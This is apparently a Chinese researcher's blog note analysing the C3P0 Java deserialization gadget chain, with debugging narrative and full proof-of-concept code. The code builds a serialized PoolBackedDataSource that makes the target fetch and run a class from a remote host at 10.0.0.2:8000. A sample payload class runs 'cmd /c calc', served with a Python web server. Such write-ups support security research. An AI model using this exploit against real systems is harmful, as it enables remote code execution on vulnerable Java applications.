Java反序列化 C3P0 GadGets1利用链记录
C3P0相关依赖包
解压后放到一个目录即可
c3p0-0.9.5.2.jar
mchange-commons-java-0.2.11.jar
GadGets1利用分析
利用链代码
package c3p0;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;
import com.mchange.v2.ser.IndirectlySerialized;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
/** 利用链
* com.sun.jndi.rmi.registry.RegistryContext->lookup
* com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject
* com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject
*/
public class GadGets1 {
// 通过反序列化jndi注入的方式进行命令执行
public static void main(String[] args) throws Exception {
String className = "GadGets1_Exploit";
String url = "http://10.0.0.2:8000/";
PoolBackedDataSource o = new PoolBackedDataSource();
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(o, new PoolSource(className, url));
// 生成序列化字符串
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
oos.close();
// 本地测试触发
System.out.println(barr);
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o0 = (Object) ois.readObject();
}
// 内部类 实现interface接口
private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {
private String className;
private String url;
public PoolSource(String className, String url) {
this.className = className;
this.url = url;
}
public Reference getReference() throws NamingException {
return new Reference("test", this.className, this.url);
}
public PrintWriter getLogWriter() throws SQLException {
return null;
}
public void setLogWriter(PrintWriter out) throws SQLException {
}
public void setLoginTimeout(int seconds) throws SQLException {
}
public int getLoginTimeout() throws SQLException {
return 0;
}
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
}
}
根据现有poc的报错信息进行跟踪
不建议这种方式, 最后lookup的时候太自信了, 调试半天发现根本不是lookup导致的漏洞(笑哭)
当时很好奇lookup里面的contentName是从哪里来的, 然后发现研究错方向了
建议debug一点一点调试
最上层readObject报错
根据报错信息 继续向下寻找调用
调用处为getObject() 继续跟踪 发现无法确定利用链执行到了哪里
继续查看javax.naming.NamingException报错信息
以为是在lookup这里执行的, 后续调试时发现这里的contentName属性值为空,不可以利用
其实是在下面一行的ReferenceableUtils.referenceToObject()
里面进行的URLClassLoader
加载 导致的序列化漏洞
寻找利用链
在c3p0-0.9.5.2包中寻找lookup
com.mchange.v2.naming.ReferenceIndirector#getObject()方法 116行 lookup危险函数调用
全局寻找getObject()
方法调用
可以看到都被转为了IndirectlySerialized
类型 , IndirectlySerialized
是一个可被序列化的接口类型
寻找实现了IndirectlySerialized
接口的类
发现只有ReferenceSerialized
这个内部类实现了IndirectlySerialized
接口
回到正题 寻找调用
先看com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#readObject()202行 重写了readObject方法
没看懂为什么这样写(萌新求解)
// we create an artificial scope so that we can use the name o for all indirectly serialized objects.
//翻译
//我们创建了一个人工作用域,以便可以对所有间接序列化的对象使用名称。
再去看writeObject()
有点意思
因为ConnectionPoolDataSource
不是可以被序列化的类型
CommonDataSource
也不是可以被序列化的类型 所以这里会走到catch
在catch中 应该是把connectionPoolDataSource
转为了可以序列化的对象 跟进看一下
com.mchange.v2.naming.ReferenceIndirector#indirectForm() 很明显将这个数据转为了可序列化的对象
看一下
将传入对象实例化为Reference类,实现了Serializable接口
并且入口点的PoolBackedDataSourceBase
也实现了Referenceable
接口
大体的思路已经有了 序列化PoolBackedDataSourceBase
这个类 然后控制ReferenceIndirector
类的这个contextName
参数,调用getObject()
即可造成JNDI
注入漏洞
跟踪后发现无法控制contentName
参数
但在getObject()
方法的调用中发现了URLClassLoader
(正解)
String fClassName = ref.getFactoryClassName();
String fClassLocation = ref.getFactoryClassLocation();
对应Reference类的构造方法 开始构造POC
Poc编写
利用链1POC1
package c3p0;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class GadGets2 {
public static void main(String[] args) throws Exception {
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSource();
Field field = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase, new Poc_Class("GadGets1_Exploit", "http://10.0.0.2:8000/"));
// 序列化数据 不会触发漏洞
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc_c3p0_gadgets1.ser"));
objectOutputStream.writeObject(poolBackedDataSourceBase);
objectOutputStream.close();
// 反序列化触发漏洞
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc_c3p0_gadgets1.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
private static final class Poc_Class implements Referenceable, ConnectionPoolDataSource {
/* 为什么要实现Referenceable与ConnectionPoolDataSource的接口
* PoolBackedDataSourceBase的writeObject中,先对connectionPoolDataSource进行了序列化connectionPoolDataSource为ConnectionPoolDataSource类型, 所以要实现ConnectionPoolDataSource的接口,用来反序列化
* Referenceable 在PoolBackedDataSourceBase的序列化中 因为对象没有继承序列化所以序列化会报错, 底层选择了间接的序列化对数据进行序列化操作, 转换为Referenceable,类型所以也要实现Referenceable这个接口,用来序列化
* */
private String remote_className;
private String remote_urlName;
Poc_Class(String remote_className, String remote_urlName) {
this.remote_className = remote_className;
this.remote_urlName = remote_urlName;
}
@Override
public Reference getReference() throws NamingException {
/**源码中getReference返回的是Reference对象
* 源码中调用了
* String fClassName = ref.getFactoryClassName();
* String fClassLocation = ref.getFactoryClassLocation();
* 对应的,即为 Reference(随便(未被使用), 恶意类名称, 远程Url地址)
* classname未调用, 所以随便赋一个值就行
*/
return new Reference("qqq", remote_className, remote_urlName);
}
@Override
public PooledConnection getPooledConnection() throws SQLException {return null;}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {return null;}
@Override
public PrintWriter getLogWriter() throws SQLException {return null;}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {}
@Override
public void setLoginTimeout(int seconds) throws SQLException {}
@Override
public int getLoginTimeout() throws SQLException {return 0;}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {return null;}
}
}
利用链1POC2
public static void main(String[] args) throws Exception {
JndiRefDataSourceBase poolBackedDataSourceBase = new JndiRefDataSourceBase(true);
Field field = JndiRefDataSourceBase.class.getDeclaredField("jndiName");
field.setAccessible(true);
field.set(poolBackedDataSourceBase, new Poc_Class("GadGets1_Exploit", "http://10.0.0.2:8000/"));
// 序列化数据 不会触发漏洞
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc_c3p0_gadgets1.ser"));
objectOutputStream.writeObject(poolBackedDataSourceBase);
objectOutputStream.close();
// 反序列化触发漏洞
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("poc_c3p0_gadgets1.ser"));
objectInputStream.readObject();
objectInputStream.close();
}
C3P0 GadGets1 JNDI恶意类
编译class文件javac GadGets1_Exploit.java
开启py web服务 在gadgets1中进行加载py3 -m http.server
public class GadGets1_Exploit {
public GadGets1_Exploit() {
try {
String[] commands = {"cmd", "/c", "calc"};
for (int i = 0; i < commands.length; i++) {
System.out.println(commands[i]);
}
System.out.println("======");
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] argv) {
GadGets1_Exploit e = new GadGets1_Exploit();
}
}
希望大佬们多多指教